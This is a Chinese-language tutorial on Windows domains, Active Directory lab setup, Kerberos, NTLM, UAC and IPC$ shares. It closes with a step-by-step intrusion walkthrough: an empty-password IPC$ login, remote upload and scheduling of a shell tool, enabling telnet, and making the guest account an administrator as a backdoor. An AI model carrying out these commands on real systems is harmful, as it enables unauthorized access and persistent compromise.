（該文參考整理自網上文章，相關鏈接附於文末）
域
工作組（Work Group）
工作組是局域網中的一個概念，由許多在同一物理地點，而且被相同的局域網連接起來的用戶組成的小組，也可以是遍布一個機構的，但卻被同一網絡連接的用戶構成的邏輯小組。工作組是最常見最簡單最普通的資源管理模式，就是將不同的電腦按功能分別列入不同的組中，加入工作組是為了區分用戶計算機在網絡中的類別，如果用戶有工作組的話，在管理上會方便很多，可以共享/使用打印機和協和工作，很多小企業都是用這種方法來管理電腦，共享文件。
工作組環境中的登錄驗證過程：工作組網絡也稱為“對等式”的網絡，因為網絡中每台計算機的地位都是平等的，它們的資源以及管理是分散在每台計算機之上，所以工作組環境的特點就是分散管理，工作組環境中的每台計算機都有自己的“本機安全賬戶數據庫”，稱為SAM數據庫。這個SAM數據庫是干什么用的呢？其實就是平時我們登錄電腦時，當我們輸入賬戶和密碼后，此時就會去這個SAM數據庫驗證，如果我們輸入的賬戶存在SAM數據庫中，同時密碼也正確，SAM數據庫就會通知系統讓我們登錄。而這個SAM數據庫默認就存儲在C:\WINDOWS\system32\config文件夾中。
在 計算機-屬性-更改設置-更改 中可設置工作組，即加入某工作組
如圖三台在同一局域網計算機開啟了網絡發現和文件共享，就可在網絡中互相發現對方。分別的工作組為WORKGROUP和WORKGROUP1
域（Domain）
域英文叫DOMAIN——域(Domain)是Windows網絡中獨立運行的單位，域之間相互訪問則需要建立信任關系(即Trust Relation)。信任關系是連接在域與域之間的橋梁。當一個域與其他域建立了信任關系后，2個域之間不但可以按需要相互進行管理，還可以跨網分配文件和打印機等設備資源，使不同的域之間實現網絡資源的共享與管理，以及相互通信和數據傳輸。
域既是 Windows 網絡操作系統的邏輯組織單元，也是Internet的邏輯組織單元，在 Windows 網絡操作系統中，域是安全邊界。域管理員只能管理域的內部，除非其他的域顯式地賦予他管理權限，他才能夠訪問或者管理其他的域，每個域都有自己的安全策略，以及它與其他域的安全信任關系。
可以把域和工作組聯系起來理解，在工作組上你一切的設置在本機上進行包括各種策略，用戶登錄也是登錄在本機的，密碼是放在本機的數據庫來驗證的。而如果你的計算機加入域的話，各種策略是域控制器統一設定，用戶名和密碼也是放到域控制器去驗證，也就是說你的賬號密碼可以在同一域的任何一台計算機登錄。登陸到域中的時候，身份驗證是采用Kerberos協議在域控制器上進行的，登陸到此計算機則是通過SAM來進行NTLM驗證的。
域控（域控制器 ，Domain Controller，簡寫為DC）
在“域”模式下，至少有一台服務器負責每一台聯入網絡的電腦和用戶的驗證工作，相當於一個單位的門衛一樣，稱為“域控制器（Domain Controller，簡寫為DC）”。 域控制器中包含了由這個域的賬戶、密碼、屬於這個域的計算機等信息構成的數據庫。當電腦聯入網絡時，域控制器首先要鑒別這台電腦是否是屬於這個域的，用戶使用的登錄賬號是否存在、密碼是否正確。如果以上信息有一樣不正確，那么域控制器就會拒絕這個用戶從這台電腦登錄。不能登錄，用戶就不能訪問服務器上有權限保護的資源，他只能以對等網用戶的方式訪問Windows共享出來的資源，這樣就在一定程度上保護了網絡上的資源。
域控是活動目錄的存儲地方，也就是說活動目錄存儲在域控制器內。安裝了活動目錄的計算機就稱為域控制器，其實在你第一次安裝活動目錄的時候，你安裝活動目錄的那台計算機就成為了域控制器。一個域可以有一台或多台域控制器。最經典的做法是做一個主輔域控。
活動目錄（Active Directory 簡稱 AD）
活動目錄是微軟Windows Server中，負責架構中大型網路環境的集中式目錄管理服務（Directory Services）。目錄服務在微軟平台上從Windows Server 2000開始引入，所以我們可以理解為活動目錄是目錄服務在微軟平台的一種實現方式。當然目錄服務在非微軟平台上都有相應的實現。
Windows Server 2003的域環境與工作組環境最大的不同是，域內所有的計算機共享一個集中式的目錄數據庫（又稱為活動目錄數據庫），它包含着整個域內的對象（用戶賬戶、計算機賬戶、打印機、共享文件等）和安全信息等等，而活動目錄負責目錄數據庫的添加，修改，更新和刪除。所以我們要在Windows Server 2003上實現域環境，其實就是要安裝活動目錄。活動目錄為我們實現了目錄服務，提供對企業網絡環境的集中式管理。比如在域環境中，只需要在活動目錄中創建一次Bob賬戶，那么就可以在任意200台電腦中的一台上登錄Bob，如果要為Bob賬戶更改密碼，只需要在活動目錄中更改一次就可以了，也就是說域用戶信息保存在活動目錄中。
域、域樹、林和組織單元
活動目錄的邏輯結構包裹：域（Domain）、域樹(Domain Tree)、林（Forest）和組織單元（Organization Unit）。如下圖
域是一種邏輯分組，准確的說是一種環境，域是安全的最小邊界。域環境能對網絡中的資源集中統一的管理，要想實現域環境，你必須要計算機中安裝活動目錄。 域樹是由一組具有連續命名空間的域組成的。如下圖
域環境搭建
環境
VMware虛擬機：Windows 2012 R2，Windows 7
設置靜態ip
這步確實只需要對域控設置靜態ip，但我選擇設置所有主機為靜態ip以固定網絡環境。
Windows 2012 R2 172.16.151.200
Windows 7 172.16.151.201
啟動虛擬機，網絡和共享中心-更改適配器設置-Ethernet0(右鍵)-屬性-Internet協議版本4(雙擊)
設置域控的ip如下，DNS就設置為域控ip（后面會在域控上搭建DNS服務）
同理設置win7 ip為172.16.151.201，DNS為域控（172.16.151.200）
修改主機名
這不也不是必須的，但是為了便於辨別和操作，分別設置主機名如下
Windows 2012 R2 DC
Windows 7 WIN7
控制面板-系統和安全-系統-更改設置-更改
安裝域控和DNS服務
打開Windows 2012 R2的服務器管理器，點擊 添加角色和功能，然后一直點下一步直到 服務器角色
選擇 Active Directory 域服務 和 DNS 服務器，然后一直下一步，最后安裝
提升服務器為域控
右上角的三角形符號-將此服務器提升為域控制器
添加到新林並設置根域名
輸入目錄還原模式密碼，然后一直下一步
到這里出錯是由於之前改了主機名未重啟(我先重啟一下)
對於 無法創建該DNS 服務器的委派 的警告可以忽略，點擊安裝
將主機（win7）注冊到域
首先測試能否解析域名以及ping通域控，如不能則檢查是否DNS設置為域控，防火牆是否禁ping
在修改主機名的地方修改所屬域
輸入域控服務器的登錄賬號密碼
如果一切正常將會提示成功。然后重啟
創建AD域用戶
創建成功后即可在win7中用域用戶賬號登錄到域
Windows認證
Kerberos
Kerberos認證簡介
Windows認證協議有兩種NTLM（NT LAN Manager）和Kerberos，前者主要應用於用於Windows NT 和 Windows 2000 Server（or Later） 工作組環境，而后者則主要應用於Windows 2000 Server（or Later） 域（Domain）環境。Kerberos較之NTLM更高效、更安全，同時認證過程也相對復雜。Kerberos這個名字來源於希臘神話，是冥界守護神獸的名字。Kerberos是一個三頭怪獸，之所以用它來命名一種完全認證協議，是因為整個認證過程涉及到三方：客戶端、服務端和KDC（Key Distribution Center）。在Windows域環境中，KDC的角色由DC（Domain Controller）來擔當。
某個用戶采用某個域帳號登錄到某台主機，並遠程訪問處於相同域中另一台主機時，如何對訪問者和被訪問者進行身份驗證（這是一種雙向的驗證）？
Kerberos實際上是一種基於票據（Ticket）的認證方式。客戶端要訪問服務器的資源，需要首先購買服務端認可的票據。也就是說，客戶端在訪問服務器之前需要預先買好票，等待服務驗票之后才能入場。在這之前，客戶端需要先買票，但是這張票不能直接購買，需要一張認購權證。客戶端在買票之前需要預先獲得一張認購權證。這張認購權證和進入服務器的入場券均有KDC發售。一張圖基本揭示了Kerberos整個認證的過程
如何獲得“認購權證”？
首先，我們來看看客戶端如何獲得“認購權證”。這里的認購權證有個專有的名稱——TGT（Ticket Granting Ticket），而TGT的是KDC一個重要的服務——認證服務（KAS：Kerberos Authentication Service）。當某個用戶通過輸入域帳號和密碼試圖登錄某台主機的時候，本機的Kerberos服務會向KDC的認證服務發送一個認證請求。該請求主要包括兩部分內容，明文形式的用戶名和經過加密的用於證明訪問者身份的Authenticator
當KDC接收到請求之后，通過AD獲取該用戶的信息。通過獲取的密碼信息生成一個秘鑰對Authenticator進行解密。如果解密后的內容和已知的內容一致，則證明請求着提供的密碼正確，即確定了登錄者的真實身份。
KAS成功認證對方的身份之后，會先生成一個用於確保該用戶和KDC之間通信安全的會話秘鑰——Logon Session Key，並采用該用戶密碼派生的秘鑰進行加密。KAS接着為該用戶創建“認購權證”——TGT。TGT主要包含兩方面的內容：用戶相關信息和Logon Session Key，而整個TGT則通過KDC自己的密鑰進行加密。最終，被不同密鑰加密的Logon Session Key和TGT返回給客戶端。（以上的內容對應流程圖中的步驟1、2）
如何通過“認購權證”購買“入場券”？
經過上面的步驟，客戶端獲取了購買進入同域中其他主機入場券的“認購憑證”——TGT，以及Logon Session Key，它會在本地緩存此TGT和Logon Session Key。如果現在它需要訪問某台服務器的資源，它就需要憑借這張TGT向KDC購買相應的入場券。這里的入場券也有一個專有的名稱——服務票據（ST：Service Ticket）。
具體來說，ST是通過KDC的另一個服務TGS（Ticket Granting Service）出售的。客戶端先向TGS發送一個ST購買請求，該請求主要包含如下的內容：客戶端用戶名；通過Logon Session Key加密的Authenticator；TGT和訪問的服務器（其實是服務）名。
TGS接收到請求之后，現通過自己的密鑰解密TGT並獲取Logon Session Key，然后通過Logon Session Key解密Authenticator，進而驗證了對方的真實身份。
TGS存在的一個根本的目有兩點：其一是避免讓用戶的密碼客戶端和KDC之間頻繁傳輸而被竊取。其二是因為密碼屬於Long Term Key（我們一般不會頻繁的更新自己的密碼），讓它作為加密密鑰的安全系數肯定小於一個頻繁變換得密鑰（Short Term Key）。而這個Short Term Key就是Logon Session Key，它確保了客戶端和KDC之間的通信安全。
TGS完成對客戶端的認證之后，會生成一個用於確保客戶端-服務器之間通信安全的會話秘鑰——Service Session Key，該會話秘鑰通過Logon Session Key進行加密。然后出售給客戶端需要的入場券——ST。ST主要包含兩方面的內容：客戶端用戶信息和Service Session Key，整個ST通過服務器密碼派生的秘鑰進行加密。最終兩個被加密的Service Session Key和ST回復給客戶端。（以上的內容對應流程圖中的步驟3、4）
憑票入場
客戶端接收到TGS回復后，通過緩存的Logon Session Key解密獲取Service Session Key。同時它也得到了進入服務器的入場券——ST。那么它在進行服務訪問的時候就可以借助這張ST憑票入場了。該Serivce Session Key和ST會被客戶端緩存。
但是，服務端在接收到ST之后，如何確保它是通過TGS購買，而不是自己偽造的呢？這很好辦，不要忘了ST是通過自己密碼派生的秘鑰進行加密的。具體的操作過程是這樣的，除了ST之外，服務請求還附加一份通過Service Session Key加密的Authenticator。服務器在接收到請求之后，先通過自己密碼派生的秘鑰解密ST，並從中提取Service Session Key。然后通過提取出來的Service Session Key解密Authenticator，進而驗證了客戶端的真實身份。
實際上，到目前為止，服務端已經完成了對客戶端的驗證，但是，整個認證過程還沒有結束。談到認證，很多人都認為只是服務器對客戶端的認證，實際上在大部分場合，我們需要的是雙向驗證（Mutual Authentication）——訪問者和被訪問者互相驗證對方的身份。現在服務器已經可以確保客戶端是它所聲稱的那么用戶，客戶端還沒有確認它所訪問的不是一個釣魚服務呢。
為了解決客戶端對服務器的驗證，服務要需要將解密后的Authenticator再次用Service Session Key進行加密，並發揮給客戶端。客戶端再用緩存的Service Session Key進行解密，如果和之前的內容完全一樣，則可以證明自己正在訪問的服務器和自己擁有相同的Service Session Key，而這個會話秘鑰不為外人知曉（以上的內容對應流程圖中的步驟5、6）
NTLM
在允許的環境下，Kerberos是首選的認證方式。在這之前，Windows主要采用另一種認證協議——NTLM（NT Lan Manager）。NTLM使用在Windows NT和Windows 2000 Server（or later）工作組環境中（Kerberos用在域模式下）。在AD域環境中，如果需要認證Windows NT系統，也必須采用NTLM。較之Kerberos，基於NTLM的認證過程要簡單很多。NTLM采用一種質詢/應答（Challenge/Response）消息交換模式。
步驟一
用戶通過輸入Windows帳號和密碼登錄客戶端主機。在登錄之前，客戶端會緩存輸入密碼的哈希值，原始密碼會被丟棄（“原始密碼在任何情況下都不能被緩存”，這是一條基本的安全准則）。成功登錄客戶端Windows的用戶如果試圖訪問服務器資源，需要向對方發送一個請求。該請求中包含一個以明文表示的用戶名。
步驟二
服務器接收到請求后，生成一個16位的隨機數。這個隨機數被稱為Challenge或者Nonce。服務器在將該Challenge發送給客戶端之前，該Challenge會先被保存起來。Challenge是以明文的形式發送的。
步驟三
客戶端在接收到服務器發回的Challenge后，用在步驟一中保存的密碼哈希值對其加密，然后再將加密后的Challenge發送給服務器。
步驟四
服務器接收到客戶端發送回來的加密后的Challenge后，會向DC（Domain）發送針對客戶端的驗證請求。該請求主要包含以下三方面的內容：客戶端用戶名；客戶端密碼哈希值加密的Challenge和原始的Challenge。
步驟五六
DC根據用戶名獲取該帳號的密碼哈希值，對原始的Challenge進行加密。如果加密后的Challenge和服務器發送的一致，則意味着用戶擁有正確的密碼，驗證通過，否則驗證失敗。DC將驗證結果發給服務器，並最終反饋給客戶端。
用戶帳戶控制（User Account Control ，簡稱 UAC）
概念
用戶帳戶控制 (User Account Control) 是Windows Vista（及更高版本操作系統）中一組新 的基礎結構技術，可以幫助阻止惡意程序（有時也稱為“惡意軟件”）損壞系統，同時也可以幫助組織部署更易於管理的平台。
使用 UAC，應用程序和任務總是在非管理員帳戶的安全上下文中運行，但管理員專門給系統授予管理員級別的訪問權限時除外。UAC 會阻止未經授權應用程序的自動安裝，防止無意中對系統設置進行更改。
用戶帳戶控制(UAC)是新版Windows 的核心安全功能，也是其最常被人誤解的眾多安全功能當中的一種。
原理
在新版 Windows 中，有兩個級別的用戶：標准用戶和管理員。標准用戶是計算機 Users 組的成員；管理員是計算機 Administrators 組的成員。
與以前版本的 Windows 不同，默認情況下標准用戶和管理員都會在標准用戶安全上下文中訪問資源和運行應用程序。任何用戶登錄到計算機后，系統為該用戶創建一個訪問令牌。該訪問令牌包含有關授予給該用戶的訪問權限級別的信息，其中包括特定的安全標識符(SID) 信息和 Windows 權限。當管理員登錄到計算機時，該版本的 Windows 為該用戶創建兩個單獨的訪問令牌：標准用戶訪問令牌和管理員訪問令牌。標准用戶訪問令牌包含的用戶特定信息與管理員訪問令牌包含的信息相同，但是已經刪除管理 Windows 權限和 SID。標准用戶訪問令牌用於啟動不執行管理任務的應用程序（“標准用戶應用程序”）。
當管理員需要運行執行管理任務的應用程序（“管理員應用程序”）時，該版本的 Windows 提示用戶將他們的安全上下文從標准用戶更改或“提升”為管理員。該默認管理員用戶體驗稱為“管理審核模式”。在該模式下，應用程序需要特定的權限才能以管理員應用程序（具有與管理員相同訪問權限的應用程序）運行。
默認情況下，當管理員應用程序啟動時，會出現“用戶帳戶控制”消息。如果用戶是管理員，該消息會提供選擇允許或禁止應用程序啟動的選項。如果用戶是標准用戶，該用戶需要輸入一個本地 Administrators 組成員的帳戶的密碼（若Administrator用戶組的用戶沒有密碼則該密碼文本框留空）。
IPC$(Internet Process Connection )
在WindowsXP windows7等系統中，隱藏着一種據說是可以“致命”的漏洞，它讓很多人一聽到就談“虎”色變。在“我的電腦”上右擊“管理”，依次選擇“系統工具→共享文件夾→共享”，就會看到右邊窗口中的默認共享。這些帶有美元“$”標記的符號就是Windows系統默認共享，也就是Windows在安裝完畢后自動共享的功能，很多人都聽說是個漏洞。
IPC$(Internet Process Connection)可以被理解為一種“專用管道”，可以在連接雙方建立一條安全的通道，實現對遠程計算機的訪問。Windows NT/2000/XP提供了IPC$功能的同時，在初次安裝系統時還打開了默認共享，即所有的邏輯共享(C$,D$,E$……)和系統目錄(ADMIN$)共享。所有這些共享的目的，都是為了方便管理員的管理，但在有意無意中，導致了系統安全性的隱患
然默認共享是漏洞，微軟干嘛不補上?其實默認共享是一項非常有用的功能，只是我們平時用不到罷了。微軟的初衷是便於網管進行遠程管理。試想一下。在一個大型網絡里管理員有必要親自跑到某台機上去看一些東西或是刪除一些東西嗎?這些管理員坐在主機前通過默認共享可以很輕松地辦到。這是微軟為了方便管理而提供的功能。不知從什么時候開始，它變成人家口中所說的漏洞了
如果你開放了所有的默認共享。人家就可以利用默認共享到你電腦里tou東西嗎?答案是否定的。除非是你自己想放他進來。默認共享是管理員級別或是有相對應權限的賬戶的操作。你試試guest級用戶能使用默認共享嗎?不能!為什么說是你自己想放別人進來呢?你問問自己。你的管理員密碼呢?要么直接為空。要么就是些123，1234之類的弱口令。用掃描工具短短時間內就能被猜解的。你已經打開了大門，人家有什么理由不進來呢?
就算是你密碼為空或是弱口令，對方也不一定能用默認共享進入你的電腦進行管理員級別的操作。為什么?當共享方式為僅來賓方式時。任何連接的用戶權限只能是guest級別的。guest能有多少權限?不信你可以做一次實驗。向一台啟用了僅來賓且開放默認共享的主機用net use命令進行連接。例如:net use \\ip\IPC$ "password" /user:"administrator"我可以肯定的告訴你：無論你的password填的是什么。都會提醒你"命令成功完成"。你實際上得到了管理員權限嗎?答案是否定的。你得到的只是guest權限。很慶幸的是，Windows XP安裝后的默認共享方式就是"僅來賓"的方式。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個)會利用IPC$，訪問共享資源,導出用戶列表,並使用一些字典工具，進行密碼探測,寄希望於獲得更高的權限,從而達到不可告人的目的.
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)
示例
建立空連接
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
net use \\IP\ipc$ "" /user:""
既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何權限(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限
建立非空連接
如果知道賬號密碼的話
net use \\IP\ipc$ "password" /user:"username"
刪除一個ipc$連接
net use \\IP\ipc$ /del
映射共享
將目標c盤映射為本地z盤
net use z: \\IP\c$
刪除共享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
查看遠程主機的共享資源（但看不到默認共享）
net view \\IP
查看遠程主機的當前時間
net time \\IP
向遠程主機復制文件
copy \路徑\srv.exe \\IP\共享目錄名，如：
copy ccbirds.exe \\*.*.*.*\c 即將當前目錄下的文件復制到對方c盤內
遠程添加計划任務
at \\ip 時間 程序名，如：
at \\127.0.0.0 11:00 love.exe
注意：時間盡量使用24小時制；在系統默認搜索路徑（比如system32/）下不用加路徑，否則必須加全路徑
（另一種方法是schtasks，這是升級版的at命令）
經典入侵模式
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators，密碼為"空"的IP地址(空口令?哇,運氣好到家了)，如果是打算攻擊的話，就可以用這樣的命令來與127.0.0.1建立一個連接，因為密碼為"空"，所以第一個引號處就不用輸入，后面一個雙引號里的是用戶名，輸入administrators，命令即可成功完成。
2. C:\>copy srv.exe \\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什么地方去了）。
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧（這里設置的時間要比主機時間快，不然你怎么啟動啊，呵呵！）
（另一種方法是schtasks，這是升級版的at命令）
5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05，那就准備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧，注意端口是99。Telnet默認的是23端口，但是我們使用的是SRV在對方計算機中為我們建立一個99端口的Shell。
雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然后使用"net start telnet"來開啟Telnet服務！
9. Telnet 127.0.0.1，接着輸入用戶名與密碼就進入對方了，操作就像在DOS上操作一樣簡單！(然后你想做什么?想做什么就做什么吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台計算機)
參考:
百度百科
活動目錄的介紹:深入淺出Active Directory系列
Active Directory(活動目錄) & Domain（域）
https://securepla.net/Windows_Domain.htm